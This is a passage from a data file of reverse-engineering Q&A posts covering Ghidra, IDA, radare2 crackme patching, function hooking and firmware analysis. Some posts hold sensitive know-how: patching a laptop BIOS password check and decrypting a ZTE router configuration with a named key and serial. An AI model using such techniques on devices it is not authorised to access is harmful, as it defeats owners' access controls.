+Remote replied unexpectedly to 'vMustReplyEmpty': timeout +Any idea?! +EDIT 2: +I ran the docker container without the --publish or -p attribute and clearly no matter what IP:PORT I use, gdb-multiarch says the Connection timed out. +" +"['ghidra', 'python']"," Title: Ghidra python - get string x-refs in a binaryBody: In Ghidra, there is Defined Strings window, that lists all the strings in the binary and their location. +I want to access the strings from Ghidra Python, and to get all the x-refs to those strings. +Any ideas on how is it possible to access this string info from Ghidra Python? +" +"['decompilation', 'arm', 'hexrays', 'ida-plugin']"," Title: LPC2378FBD144 Arm7 hex fileBody: I have binary file for the LPC2378FBD144 processor ineed to reverse engineer it using IDA V7.3 +im little confused about memory organization values i should put in the memory organization thank you for your help :) +here the data sheet for the processor +https://www.nxp.com/docs/en/data-sheet/LPC2377_78.pdf + +" +"['binwalk', 'bios', 'uefi']"," Title: How to get PI UEFI binary when mcrypt is used?Body: I am playing with a dump I made from a serial flash containing the BIOS of a ultra portable whose BIOS is protected by a password. I am trying to find the password or patch the routine which check the password. +Using binwalk I got the following result. I have search for strings containing 'password' but found nothing... So I think code is inside the mcrypt portion ... +Do you have idea what I can eventually do now to continue my journey?? + +" +"['tools', 'function-hooking', 'instrumentation', 'injection']"," Title: modern instrumentation for reversing and researchingBody: i am really glad i found this great site and wanted to ask from your expertise regarding the following issue: +i have been doing malware analysis and researching for a few years, and i want to learn something new; a new tool to deepen my understanding while utilizing it for mundane tasks. +i want to learn modern dynamic instrumentation. i searched the web and literacy and found a couple of suggestions: dynamorio, pin/pintools, frida(familiar with already), lief, triton, angr and manticore. +i need the "tool" to have a lowest overhead(i know it depends also on the way i implement the scripts), and it will mainly be used for reverse engineering, pe research and mostly for exploit development. +what should i learn in order to gain the benefits for what i mentioned? i didn't specify architecture as i will be using it on windows,linux,arm and mips (if there are other tools or better ones, i would really love to learn from your input to improve myself and gain new skills). +on a side note, i know that dynamorio is being used on winafl and other fork, but it seems quite old, so i was wondering if there's something newer with lower overheads for vulnerability research/malware analysis purposes. +on a side note, i tried to check several conferences for notes and talks regarding the issue, but i saw that every year there seems to be something new, and a few months later something newer, so i am wondering, what is the current "cool toy" of 2020? +would love to learn from your inputs and study what you mentioned to improve my knowledge base. thank you very much +" +"['ida', 'address']"," Title: IDA - Rename Address/Function: Says name exists already but it does not show up anywhereBody: I am trying to rename a function address in IDA (free) and it says that the name I picked already exists in the database (Error Code: 8727B0) ... but the provided name does not show in the functions window (filtered to check) or the names window (Shift+F4). The name is valid it's just "my_func" without quotes. +Is this normal behavior to say a name exists but does not? Is there a way to manually edit the IDA database file(s) to fix this issue. It should not be reporting invalid errors. +" +"['linux', 'python', 'injection', 'script']"," Title: can a stdout captured at a parameter to python scriptBody: I'm working on a CTF challenge that is find a secret password.This secret password base on the username and password that i input and the hash value had print out after hash calculation and i want to capture this hash value at a parameter to my script to calculate the secret pass +Can someone tell me how can i do it or another solution to solve my problem +Thanks +" +"['ida', 'disassembly', 'firmware']"," Title: BRANCH OCCURS in IDAproBody: Recently I work on TMS320C6xx Arch and when I reverse this firmware I saw functions graph nodes are separated. I have shown in below: + +As you see, BRANCH OCCURS wrote at the end of each node. I guess this is the reason of separation.
+1- How I can correct this problem?
+2- what is the problem? Explanation if possible +Thanks in advance. +" +"['deobfuscation', 'apk']"," Title: How to use smalivm and simplify to find a certain static constant from APK or remove confusion?Body:
+smalivm: Provides a virtual machine sandbox for executing Dalvik methods. After executing a method, it returns a graph containing all possible register and class values for every execution path. +
+I want to find a static constant from a APK. Because of its use of obfuscation, the code is difficult to read. But I know that the constant is returned from a function after confusion, and I am sure that it is a fixed value. I think smalivm can find out the return value of this function, but I can't find a sample article that fully describes how smalivm is used except for this article. This got me into trouble. +I don't know much about simplify. Does simplify work equally well when not using smalivm? +" +"['ida', 'disassembly', 'malware']"," Title: Is Null in Windows equal to zero?Body: (This question refers to assembly language.) I'm a little bit confused. I've encountered many times Windows functions that are supposed to return a Handle, and if they don't they return NULL. Why do the checks afterward check against zero? Zero isn't equal to NULL. +As an example: +GetModuleHandleA: +https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea + +" +"['windows', 'linux', 'usb']"," Title: Where to get started with reverse engineering a usb video device on Windows?Body: I have a piece of proprietary hardware that I'm trying to reverse engineer and write a cross-platform open-source driver for. This device has an IR camera on it, and it seems to be using the UVC protocol. On linux, de device is exposed as a /dev/video0 camera, and although it doesn't show up in any webcam-based application, I can use OpenCV to pull frames from it. +On Windows, it is a bit more obfuscated. The camera doesn't show up in any application, and only the devices' Windows-only proprietary driver can interface with it. In Device Manager the device shows up under 'Imaging devices' and it uses the ksthunk.sys and usbvideo.sys drivers. +I've tried everything I could think of to pull frames off of the camera, but every attempt failed. First of all, I've tried connecting to it with OpenCV, but i couldn't find the right device id. I've even tried brute-forcing the device id by trying to connect to every possible number within a huge interval, but no luck. +I've also tried using some low-level uvc debugging tools from the Windows SDK (GraphEdit and KsStudio) but none of them could connect to the camera. +One thing I did notice is that actual webcams have registry keys FilterData and MSCameraFlags in HKLM\CurrentControlSet\Control\DeviceClasses\{e5323777-f976-4f5b-9b55-b94699c46e44}\##?#USB#VID_045E&PID_0766&MI_00#6&1d047af0&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\#global\Device Parameters, while this device doesn't. The value FilterData seems to contain values regarding resolution and image compression, so the lack of this key in my device's registry might have something to do with windows not seeing it as a webcam. +Obviously the device's developers did something to make sure the camera doesn't show up as a regular webcam, because it is not meant to be used as such. +My ultimate goal is to be able to use the IR camera from OpenCV in my own software, but I have no idea how to get started with proper reverse engineering of the device. +" +"['disassembly', 'websites']"," Title: How to reverse engineer Electron V8 Snapshot Data Blobs?Body: Electron apps nowadays seem to have a snapshot_blob.bin and a v8_context_snapshot.bin. I am having a hard time trying to find specification of this file type. It doesn't match with .wasm. Files may be platform / CPU architecture specific binaries (and may vary depending on the platform) but I am not sure. They have no typical entry point like a normal PE. +Any advice on reverse engineering these snapshot data blob binary files would be appreciated! I am actually looking for a tool like x64dbg or IDA Pro but also thinking of making a similar debugger by myself if there isn't any available. However, the file specs are needed first. Thanks. +" +"['disassembly', 'radare2', 'crackme']"," Title: Crackme assistance - change input of a functionBody: Just as a preface, this is a crackme from https://hack.ainfosec.com/. I know you can submit these as part of a job app, I have no intentions of doing that. Very happy to have a job in a related, but different field as this is not my strong suit (go figure). +Also, I have solved this crackme via a different method (changing the MAC on my NIC to what the executable was expecting). I want to further solve this so that I don't have to bend my system to the program's will, but the other way around instead. +This is my already-modified version of the getFlag function. +
[0x00400b8d]> pdf
+            ; CALL XREF from sym.generateSentence @ 0x400db0
+┌ 161: sym.getFlag ();
+│           ; var void *ptr @ rbp-0x10
+│           ; var int64_t var_8h @ rbp-0x8
+│           0x00400b8d      55             push rbp
+│           0x00400b8e      4889e5         mov rbp, rsp
+│           0x00400b91      4883ec10       sub rsp, 0x10
+│           0x00400b95      b800000000     mov eax, 0
+│           0x00400b9a      e87d050000     call sym.getMac
+│           0x00400b9f      488945f0       mov qword [ptr], rax
+│           0x00400ba3      48837df000     cmp qword [ptr], 0
+│       ┌─< 0x00400ba8      eb0a           jmp 0x400bb4
+..
+│      ││   ; CODE XREF from sym.getFlag @ 0x400ba8
+│      │└─> 0x00400bb4      488b45f0       mov rax, qword [ptr]
+│      │    0x00400bb8      488d3572f40a.  lea rsi, qword str.de:ad:be:ef:fa:ce ; 0x4b0031 ; "de:ad:be:ef:fa:ce"
+│      │    0x00400bbf      4889c7         mov rdi, rax
+│      │    0x00400bc2      e809f9ffff     call fcn.004004d0
+│      │    0x00400bc7      85c0           test eax, eax
+│      │    0x00400bc9      90             nop
+│      │    0x00400bca      90             nop
+│      │    0x00400bcb      0fb60564a12d.  movzx eax, byte [obj.user_seed] ; [0x6dad36:1]=0
+│      │    0x00400bd2      84c0           test al, al
+│      │    0x00400bd4      90             nop
+│      │    0x00400bd5      90             nop
+│      │    0x00400bd6      488d3d66f40a.  lea rdi, qword str.You_win  ; 0x4b0043 ; "You win!" ; const char *s
+│      │    0x00400bdd      e8be130100     call sym.puts               ; int puts(const char *s)
+│      │    0x00400be2      488b45f0       mov rax, qword [ptr]
+│      │    0x00400be6      4889c6         mov rsi, rax
+│      │    0x00400be9      488d3d5cf40a.  lea rdi, qword str.Mac_Address:__s ; 0x4b004c ; "Mac Address: %s\n"
+│      │    0x00400bf0      b800000000     mov eax, 0
+│      │    0x00400bf5      e8a6040100     call sym.__printf
+│      │    0x00400bfa      488b45f0       mov rax, qword [ptr]
+│      │    0x00400bfe      4889c7         mov rdi, rax
+│      │    0x00400c01      e8faf8ffff     call fcn.00400500
+│      │    0x00400c06      89c2           mov edx, eax
+│      │    0x00400c08      488b45f0       mov rax, qword [ptr]
+│      │    0x00400c0c      89d1           mov ecx, edx                ; int64_t arg4
+│      │    0x00400c0e      4889c2         mov rdx, rax                ; int64_t arg3
+│      │    0x00400c11      be11000000     mov esi, 0x11               ; 17 ; signed int64_t arg2
+│      │    0x00400c16      488d3d03f40a.  lea rdi, qword obj.FLAG     ; 0x4b0020 ; int64_t arg1
+│      │    0x00400c1d      e877040000     call sym.xorencrypt
+│      │    0x00400c22      488945f8       mov qword [var_8h], rax
+│      │    0x00400c26      488b45f0       mov rax, qword [ptr]
+│      │    0x00400c2a      4889c7         mov rdi, rax                ; void *ptr
+│      │    0x00400c2d      e8de0f0200     call sym.__free
+│      │    0x00400c32      488b45f8       mov rax, qword [var_8h]
+│      │    ; CODE XREF from sym.getFlag @ +0x22
+│      └──> 0x00400c36      c9             leave
+└           0x00400c37      c3             ret
+
+I would like to modify the input for the xorencrypt function to "de:ad:be:ef:fa:ce", instead of my actual MAC address, which I believe is identified as var_8h. I am sure there's a way to move the value at 0x4b0031 (de:ad:be:ef:fa:ce) to var_8h or something like that, but I'm not sure how to go about it. I believe it would be easier to change the input to xorencrypt rather than changing the output of getMac, but I could be wrong. +This is pretty much my first go with (dis)assembly and Radare2. +The 64-bit ELF executable has 2 flags, --debug and --set-seed. You can solve this by setting the seed to 19016 and changing the MAC address of the first NIC in your system to de:ad:be:ef:fa:ce. +Original executable here (sentencebot) +My modified version here (sentencebot2) +" +"['tools', 'encryption', 'decryption']"," Title: Need Help with decryption backup config.bin file ""ZTE ZXHN H267N v1.1""Body: hi i'm trying to decrypt config.bin file from new router I got from my company, I tried a tool found on github "https://github.com/mkst/zte-config-utility" I got this ERROR: +
python3 examples/decode.py --key 'tHG@Ti&GVh@ql3XN' --serial 'ZTEFG7GL7B112171' config.bin config.xml
+Traceback (most recent call last):
+  File "examples/decode.py", line 41, in <module>
+    main()
+  File "examples/decode.py", line 36, in main
+    payload_type = zcu.zte.read_payload_type(infile)
+  File "/home/user/.local/lib/python3.8/site-packages/zcu-0.1.0-py3.8.egg/zcu/zte.py", line 51, in read_payload_type
+  File "/home/user/.local/lib/python3.8/site-packages/zcu-0.1.0-py3.8.egg/zcu/zte.py", line 45, in read_payload
+AssertionError
+
+binwalk gives me: +
binwalk -E -N config.bin
+
+DECIMAL       HEXADECIMAL     ENTROPY
+--------------------------------------------------------------------------------
+0             0x0             Rising entropy edge (0.950362)
+18432         0x4800          Falling entropy edge (0.617036)
+
+
+
binwalk -W config.bin
+
+OFFSET      config.bin
+--------------------------------------------------------------------------------
+0x00000000  04 03 02 01 00 00 00 00 00 00 00 0F 5A 58 48 4E |............ZXHN|
+0x00000010  20 48 32 36 37 4E 20 56 31 2E 31 01 02 03 04 00 |.H267N.V1.1.....|
+0x00000020  00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+0x00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+0x00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+0x00000050  00 00 00 00 00 00 00 00 00 47 B0 00 00 47 C0 00 |.........G...G..|
+0x00000060  00 00 00 70 B0 93 D8 95 41 0B 8B A6 26 7B 59 35 |...p....A...&{Y5|
+0x00000070  44 77 FF 9C 74 B2 02 15 29 F9 28 EA 5A F2 C5 84 |Dw..t...).(.Z...|
+0x00000080  66 B1 2C 3E 10 5A 76 AA 2D D1 9E 9D AA 6E 49 1E |f.,>.Zv.-....nI.|
+0x00000090  5F A1 6D 0D 42 E0 6C E9 D9 84 81 23 99 5A B5 22 |_.m.B.l....#.Z."|
+0x000000A0  09 BC 78 5A CB EF AF 4B D7 1E A2 40 D4 11 7F 7E |..xZ...K...@...~|
+0x000000B0  EE EC DC E8 D7 CC 9C 8B EE BD 02 6C A7 BB F8 B6 |...........l....|
+0x000000C0  76 01 2F 0A CD CE F4 B1 02 BF A9 C3 37 D1 3D 44 |v./.........7.=D|
+0x000000D0  80 55 DD C9 DB 59 70 1C D9 9F DA 89 D6 04 14 66 |.U...Yp........f|
+0x000000E0  AA 9B 77 AE 1D BB 0C C0 BF 2F F2 86 3D 3B E5 CA |..w....../..=;..|
+0x000000F0  1E EF 25 2D 44 02 09 DE 6A BF 3A 91 56 65 58 6E |..%-D...j.:.VeXn|
+0x00000100  B2 7B 5F 18 1F 18 90 3E 43 56 B8 9A 1A 5B 3A BC |.{_....>CV...[:.|
+0x00000110  6E D0 5B 44 5F 2B 9E CC BC F4 12 8B 61 50 E4 C8 |n.[D_+......aP..|
+0x00000120  1C 50 FF B9 2F 1E 34 83 57 63 72 45 5E E4 83 17 |.P../.4.WcrE^...|
+0x00000130  8F ED 29 AC 0E 27 DF FD 30 C1 63 44 D2 35 2F E9 |..)..'..0.cD.5/.|
+0x00000140  65 5B 6A AA 39 54 9D 5C 34 29 63 43 C6 1D 67 80 |e[j.9T.\4)cC..g.|
+0x00000150  89 7B EB 08 A3 30 A9 67 A8 C0 38 EA B4 B1 7B 45 |.{...0.g..8...{E|
+0x00000160  6D C5 3A A6 FC 90 52 05 20 62 E0 82 C8 A3 76 98 |m.:...R..b....v.|
+0x00000170  D9 D8 7D B1 BE CC 1A B6 15 CA BB 85 5B 15 EE 1D |..}.........[...|
+
+any idea guys to decrypt config.bin file +" +"['disassembly', 'decryption', 'ipod']"," Title: how can I disassemble a Nand binary file from an iPod nano?Body: Ive got a Nand image in bin format not encrypted armv4, cpu 80 MHz ARM 7TDMI processor it is a iPod nano 1st generation I want to see what calls the Nand makes because it is married to the motherboard. I have IDA Pro the cpu and version say they are supported by ida on their website but I do not see these options in the cpu selection. how would you go about disassembling a Nand dump to figure out how and why the chip is married to the motherboard. Like the iPhone I think you have to flash an identifier to the new Nand for security reasons. +" +"['encodings', 'usb', 'float']"," Title: Encoding of 64-bit doubleBody: I'm in the process of reverse engineering a USB driver, and I'm having problems finding a way to decode the binary representation of double values. The values don't seem to be encoded in IEEE-754 format. +Do you have any suggestions on how these values should be decoded? Below, I included a couple of example double values and their corresponding binary representation. +Thanks for your help! +
1.0: 0000 0000 0000 0000 0000 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
+2.0: 0000 0000 0000 0000 0000 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
+3.0: 0000 0000 0000 0000 0000 1100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
+4.0: 0000 0000 0000 0000 0001 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
+5.0: 0000 0000 0000 0000 0001 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
+
+-1.0: 1111 1111 1111 1111 1111 1100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
+-2.0: 1111 1111 1111 1111 1111 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
+-3.0: 1111 1111 1111 1111 1111 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
+-4.0: 1111 1111 1111 1111 1111 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
+-5.0: 1111 1111 1111 1111 1110 1100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
+
+-0.1: 1111 1111 1111 1111 1111 1111 1001 1001 1001 1001 1001 1001 1001 1001 1001 1010 
+-1.1: 1111 1111 1111 1111 1111 1011 1001 1001 1001 1001 1001 1001 1001 1001 1001 1010 
+-2.2: 1111 1111 1111 1111 1111 0111 0011 0011 0011 0011 0011 0011 0011 0011 0011 0100 
+-3.3: 1111 1111 1111 1111 1111 0010 1100 1100 1100 1100 1100 1100 1100 1100 1100 1101 
+-4.4: 1111 1111 1111 1111 1110 1110 0110 0110 0110 0110 0110 0110 0110 0110 0110 0111 
+-5.5: 1111 1111 1111 1111 1110 1010 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
+
+1.1: 0000 0000 0000 0000 0000 0100 0110 0110 0110 0110 0110 0110 0110 0110 0110 0110 
+1.2: 0000 0000 0000 0000 0000 0100 1100 1100 1100 1100 1100 1100 1100 1100 1100 1100 
+1.3: 0000 0000 0000 0000 0000 0101 0011 0011 0011 0011 0011 0011 0011 0011 0011 0011 
+1.4: 0000 0000 0000 0000 0000 0101 1001 1001 1001 1001 1001 1001 1001 1001 1001 1001 
+1.5: 0000 0000 0000 0000 0000 0110 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
+1.6: 0000 0000 0000 0000 0000 0110 0110 0110 0110 0110 0110 0110 0110 0110 0110 0110 
+1.7: 0000 0000 0000 0000 0000 0110 1100 1100 1100 1100 1100 1100 1100 1100 1100 1100 
+1.8: 0000 0000 0000 0000 0000 0111 0011 0011 0011 0011 0011 0011 0011 0011 0011 0011 
+1.9: 0000 0000 0000 0000 0000 0111 1001 1001 1001 1001 1001 1001 1001 1001 1001 1001 
+
+-9999.0: 1111 1111 0110 0011 1100 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 
+
+" +"['disassembly', 'decryption', 'crc', 'dumping', 'memory-dump']"," Title: Decoding algorithm with checksumBody: I'm a newbie, so I'm asking for your help. +I have to decode dumped data from an appliance because I wanted to try understand the data. +The data are in this format and some information are known: +7E 00 20 10 75 00 00 00 07 5F C7 6F 4F 01 05 C8 .. .. .. (some other bytes that are the same for each packet) +7e = start framing (Does not change) +20 = length of packet (Does not change) +10 75 = packet type (Does not change) +00 00 00 07 = incremental number, when it reach 00 00 00 FF, the next is 00 00 01 00 +when checksum is failed the appliance retries with same number. +5F C7 6F 4F hex timestamp (unix timestamp converted in hexadecimal) +01 ALTERNATING VALUE 01 or 21 (this value alternate on each received packet) +05 MISTERY BYTE, i'll explain later +C8 checksum calculated with the sum of incremental number plus hex timestamp, then mod 256 and subtracted with 0x03 when the alternating value is 21 or 0x23 when alternating value is set to 01. When the resulting value is negative you have to discard all FF FF and take the last byte. +The problem is the mistery byte. +At first glance seems to be: +When last byte of timestamp is greather than checksum, the mistery byte is: 06, else is 05. +But sometimes this value is "07" +Here another example: +7E 00 20 10 75 00 00 00 08 5F C7 71 73 21 06 0F .. .. .. +checksum calculation method: +00 + 00 + 00 + 08 + 5F + C7 + 71 = 0x212 (decimal 530) +530 mod 256 = 18 +decimal 18 to hex = 12 +because the alternating value is 21, i have to subtract 0x3 -> 12 - 0x03 = checksum = 0F +now the last byte of checksum 73 is greather than 0F so the result of mistery byte seems correct to be 06 +the problem comes when mistery field is sometimes 07. I think that this value is not merely a comparing with last byte of timestamp with checksum, but i missed something. +7E 00 20 10 75 00 00 00 87 5F C7 7B ED 21 07 12 +7E 00 20 10 75 00 00 00 88 5F C7 7B FF 01 07 05 +Here some other example that seems 06 alternate with 07: +7E 00 20 10 75 00 00 00 D0 5F C7 80 89 01 06 DC +7E 00 20 10 75 00 00 00 D1 5F C7 80 8F 21 07 03 +7E 00 20 10 75 00 00 00 D2 5F C7 80 95 01 06 EA +7E 00 20 10 75 00 00 00 D3 5F C7 80 96 21 07 0C +7E 00 20 10 75 00 00 00 D4 5F C7 80 9B 01 06 F2 +but soon there are 07 for a lot of rows +7E 00 20 10 75 00 00 00 D9 5F C7 80 A9 21 07 25 +7E 00 20 10 75 00 00 00 DA 5F C7 80 AA 01 07 07 +7E 00 20 10 75 00 00 00 DB 5F C7 80 AA 21 07 28 +some examples with "05" mistery byte. +7E 00 20 10 75 00 00 01 09 5F C7 82 00 21 05 AF +7E 00 20 10 75 00 00 01 0A 5F C7 82 05 01 05 95 +7E 00 20 10 75 00 00 01 0B 5F C7 82 26 21 05 D7 +7E 00 20 10 75 00 00 01 0C 5F C7 82 2C 01 05 BE +Any clue of what this mistery byte is used for? +" +"['disassembly', 'binary-analysis', 'x86', 'gdb', 'ghidra']"," Title: Correct way to understand local_ in ghidra disassemblyBody: Attached is the part of a disassembled main from a x86 binary file, generated by ghidra. +
                             **************************************************************
+                             *                          FUNCTION                          *
+                             **************************************************************
+                             undefined main(undefined1 param_1)
+             undefined         AL:1           <RETURN>                                XREF[1]:     0804835e(W)  
+             undefined1        Stack[0x4]:1   param_1                                 XREF[1]:     08048309(*)  
+             undefined4        EAX:4          str_in                                  XREF[1]:     0804835e(W)  
+             undefined4        Stack[0x0]:4   local_res0                              XREF[1]:     08048310(R)  
+             undefined4        Stack[-0x10]:4 local_10                                XREF[6]:     08048358(R), 
+                                                                                                   08048363(W), 
+                                                                                                   0804836d(R), 
+                                                                                                   08048388(R), 
+                                                                                                   08048393(W), 
+                                                                                                   0804839d(R)  
+             undefined4        Stack[-0x14]:4 local_14                                XREF[2]:     0804831a(W), 
+                                                                                                   08048366(R)  
+             undefined4        Stack[-0x18]:4 local_18                                XREF[2]:     08048321(W), 
+                                                                                                   08048396(R)  
+             undefined4        Stack[-0x2c]:4 local_2c                                XREF[3]:     08048369(W), 
+                                                                                                   08048399(W), 
+                                                                                                   080483ac(W)  
+             undefined4        Stack[-0x30]:4 local_30                                XREF[12]:    08048328(*), 
+                                                                                                   08048334(*), 
+                                                                                                   08048340(*), 
+                                                                                                   0804834c(*), 
+                                                                                                   0804835b(*), 
+                                                                                                   08048370(*), 
+                                                                                                   0804837c(*), 
+                                                                                                   0804838b(*), 
+                                                                                                   080483a0(*), 
+                                                                                                   080483b4(*), 
+                                                                                                   080483c2(*), 
+                                                                                                   080483d0(*)  
+                             main                                            XREF[2]:     Entry Point(*), 
+                                                                                          _start:08048167(*)  
+        08048309 8d 4c 24 04     LEA        ECX=>param_1,[ESP + 0x4]
+        0804830d 83 e4 f0        AND        ESP,0xfffffff0
+        08048310 ff 71 fc        PUSH       dword ptr [ECX + local_res0]
+        08048313 55              PUSH       EBP
+        08048314 89 e5           MOV        EBP,ESP
+        08048316 51              PUSH       ECX
+        08048317 83 ec 24        SUB        ESP,0x24
+        0804831a c7 45 f4        MOV        dword ptr [EBP + local_14],DAT_080a6b19          = 6Ah    j
+                 19 6b 0a 08
+        08048321 c7 45 f0        MOV        dword ptr [EBP + local_18],s_the_ripper_080a6b1e = "the ripper"
+                 1e 6b 0a 08
+
+Same code from gdb +
   0x08048309 <+0>: lea    ecx,[esp+0x4]
+   0x0804830d <+4>: and    esp,0xfffffff0
+   0x08048310 <+7>: push   DWORD PTR [ecx-0x4]
+   0x08048313 <+10>:    push   ebp
+   0x08048314 <+11>:    mov    ebp,esp
+   0x08048316 <+13>:    push   ecx
+   0x08048317 <+14>:    sub    esp,0x24
+=> 0x0804831a <+17>:    mov    DWORD PTR [ebp-0xc],0x80a6b19
+
+Why is ghidra changeing [ebp-0xc] to [EBP + local_14]. +Similar question I found is Ghidra interpreting stack pointers wrongly but reading the answer, I'm not getting the meaning of [EBP + local_14] Here, is ghidra just renaming -0xc to a easily readable name like local_14? I'm not getting how to make sense of this exactly. +In the function header, it is shown that Stack[-0x10]:4 local_10. I assume it means that local_10 is 4 byte variable at Stack[-0x10], where Stack is the stack pointer upon entry to function. But why is it added to ebp. What's the meaning of that representation used by ghidra? +" +"['c++', 'function-hooking', 'pointer']"," Title: Function pointer referenceBody: I need to hook 10/20 functions like these: +
static void* __cdecl HookFunction1(char *FileName, int a2, int a3, int a4);
+
+
+ __declspec(naked)  void HookFunction2(char  *Src, int pedx, int 
+    
+    a3, int a4, int a5, int a6);
+    
+ static BOOL HookFunction3(int a1, DWORD *a2, DWORD *a3, int a4, char a5, int a6);
+
+and I use this code: +
switch (int iD)
+{
+case 1
+
+    DetourAttach(&(LPVOID&)AddressOfHook, &HookFunction1);
+
+case 2
+   DetourAttach(&(LPVOID&)AddressOfHook, &HookFunction2);
+
+case 3
+   DetourAttach(&(LPVOID&)AddressOfHook, &HookFunction3);
+.....
+}
+
+but I like to not repeat x times "DetourAttach" and I like do to something like this: +
switch (int iD)
+{
+case 1
+
+    HookFunction = &HookFunction1;
+
+case 2
+    HookFunction = &HookFunction2;
+
+case 3
+   HookFunction = &HookFunction3;
+.....
+}
+
+DetourAttach(&(LPVOID&)AddressOfHook, &HookFunction);
+
+I ask if there is a easy way to do this becouse is more flexible. +Thanks !! +" +"['windows', 'process', 'processhacker']"," Title: Acquire command line of remote process in Windows OSBody: I'd like to use C/C++/CS API to get the command line that invoked another process according to PID. +I've seen that this is done in processHacker that is an openSource project, but I couldn't find the exact way for how it's done. Perhaps anyone can share the undocumented method with me ? thanks ! +" +"['decompilation', 'javascript', 'decompile', 'byte-code']"," Title: How can I modify or decompile Hermes JS bytecode?Body: Since React Native 0.60.4 developers can opt-in to use the Hermes JS Engine. This generates an index.android.bundle binary that contains Hermes JS bytecode. +The Hermes documentation mentions hbcdump which is described as a "Hermes bytecode disassembler" +By using hbcdump -pretty-disassemble -c disassemble -out out.txt index.android.bundle I do get something that is at least a little more human readable but it does not look like it can be compiled back again and is not easy to work with. +How can I decompile Hermes JS bytecode into JavaScript?
+Alternatively: How can I modify the bytecode? Is there a tool that understands this bytecode? +" +"['disassembly', 'x86', 'calling-conventions', 'msvc']"," Title: Weird x86 function calling conventionBody: I have come across some weird function. It's in an x86 LE Windows executable compiled with Visual Studio and linking to v100 runtime.
+The function seems to be an __stdcall as it ends with a move into eax and ret 0x4. The first weird thing is it takes one parameter on the stack (the result of GetCommandLineA) but right at the start it does lea eax, [edi+0x8] without ever writing to edi. I figured out it's a custom calling convention and the second parameter is passed in edi. It's called from a very big (400 lines when decompiled) main function, so I didn't know what exactly is being passed but it seemed like an address on callers stack. I thought it's some array of pointers until I realized it's actually 3 parameters passed as one. The callers stack looks like this: +
...
+|----------|
+|  char *  |   >   command line on heap
+|          |   <   edi
+|----------|
+|   int    |   >   argument counter
+|----------|
+|  char *  |   >   char*[256] pointers to arguments
+|----------|
+|  char *  |
+|----------|
+|  char *  |
+|----------|
+...
+
+The function copies the command line to heap, assigns the address to [edi], sets [edi+0x4] to 0 and calls memset([edi+0x8],0,1024). Then it goes through the command line and does this: +
        00401185 8b 4f 04        MOV        ECX,dword ptr [Addr + 0x4]
+        00401188 89 74 8f 08     MOV        dword ptr [Addr + ECX*0x4 + 0x8],Heap
+        0040118c 01 5f 04        ADD        dword ptr [Addr + 0x4],EBX                   # EBX=1
+
+if it finds a new argument. +How can a function operate on it's caller's stack? +" +"['ida', 'disassembly', 'c++', 'function-hooking']"," Title: How use signature pattern for hookingBody: I like to replace the static function address: +
 AddressOfHookSoundFunction = (DWORD)GetModuleHandleA("myfile.exe") + 0x0F3B65; // good: 4406117 (integer)
+
+using signature pattern: +
 SigScan Scanner;
+
+ AddressOfHookSoundFunction = Scanner.FindPattern("myfile.exe", "\x55\x8B\xEC\x83\xEC\x14\x53\x56\x8B", "xxxxxxxxx"); // bad: 3685831 (integer)
+
+but the value is different and work only the static address: 0x0F3B65 +here the IDA screenshot: + + +Probably I have insert a wrong dump information. +here the code of signature scanning: +
class SigScan
+{
+public:
+    // For getting information about the executing module
+    MODULEINFO GetModuleInfo(char *szModule)
+    {
+        MODULEINFO modinfo = { 0 };
+        HMODULE hModule = GetModuleHandleA(szModule);
+        if (hModule == 0)
+            return modinfo;
+        GetModuleInformation(GetCurrentProcess(), hModule, &modinfo, sizeof(MODULEINFO));
+        return modinfo;
+    }
+
+    // for finding a signature/pattern in memory of another process
+    DWORD FindPattern(char *module, char *pattern, char *mask)
+    {
+        MODULEINFO mInfo = GetModuleInfo(module);
+        DWORD base = (DWORD)mInfo.lpBaseOfDll;
+        DWORD size = (DWORD)mInfo.SizeOfImage;
+        DWORD patternLength = (DWORD)strlen(mask);
+
+        for (DWORD i = 0; i < size - patternLength; i++)
+        {
+            bool found = true;
+            for (DWORD j = 0; j < patternLength; j++)
+            {
+                found &= mask[j] == '?' || pattern[j] == *(char*)(base + i + j);
+            }
+            if (found)
+            {
+                return base + i;
+            }
+        }
+
+        return NULL;
+    }
+};
+
+Can you help me please ? +" +"['ida', 'malware']"," Title: cdecl calling conventionBody: +Hello best people, my question is this example is telling me about cdecl calling convention. I have confusion that when analyzing the code in disassembly how would I recognize that this is the cdecl call plus +they are saying that the highlighted line in the picture showing that the stack is cleaned by the caller as the function is complete, my question is how it is cleaning the stack, I'm according to my knowledge seeing that the value 12 is added in esp, HOW IT IS CLEANING? please explain. +" +"['tools', 'function-hooking', 'instrumentation']"," Title: Miasm VS Triton - which to choose?Body: Hello and thank you for reading my question, +I was wondering, which is the right tool for me to choose according to the following: +I will be using it mainly for Malware analysis and for exploit development, fuzzing and research. It should have as low overhead as possible when instrumenting, can be integrated with angr/qiling or provide similar capabilities at low/lower overhead, hopefully easy to use and understand and has decent documentation and examples, and hopefully can be extended for custom needs if functionality is not available. +When I researched about them, even though their github seems quite recent, both frameworks(triton and miasm) seem to be quite old, while triton is a bit newer. I came across miasm in regards to deobfuscation and it seemed great, but I am looking for something more extensive and faster(lower overhead if such thing exists). If you know of a newer tool/framework that can aid me, please post its name as it can help me a lot instead of reviewing papers for different conventions and betting on projects "randomly"(without any disrespect, just hoping for practicality). +Thank you for your help. +If you can write the advantages or disadvantages for each tool, it will be help me to make a wise decision. I am sure others will fun your answers lucrative and learn a lot from them as well. +" +"['ida', 'radare2', 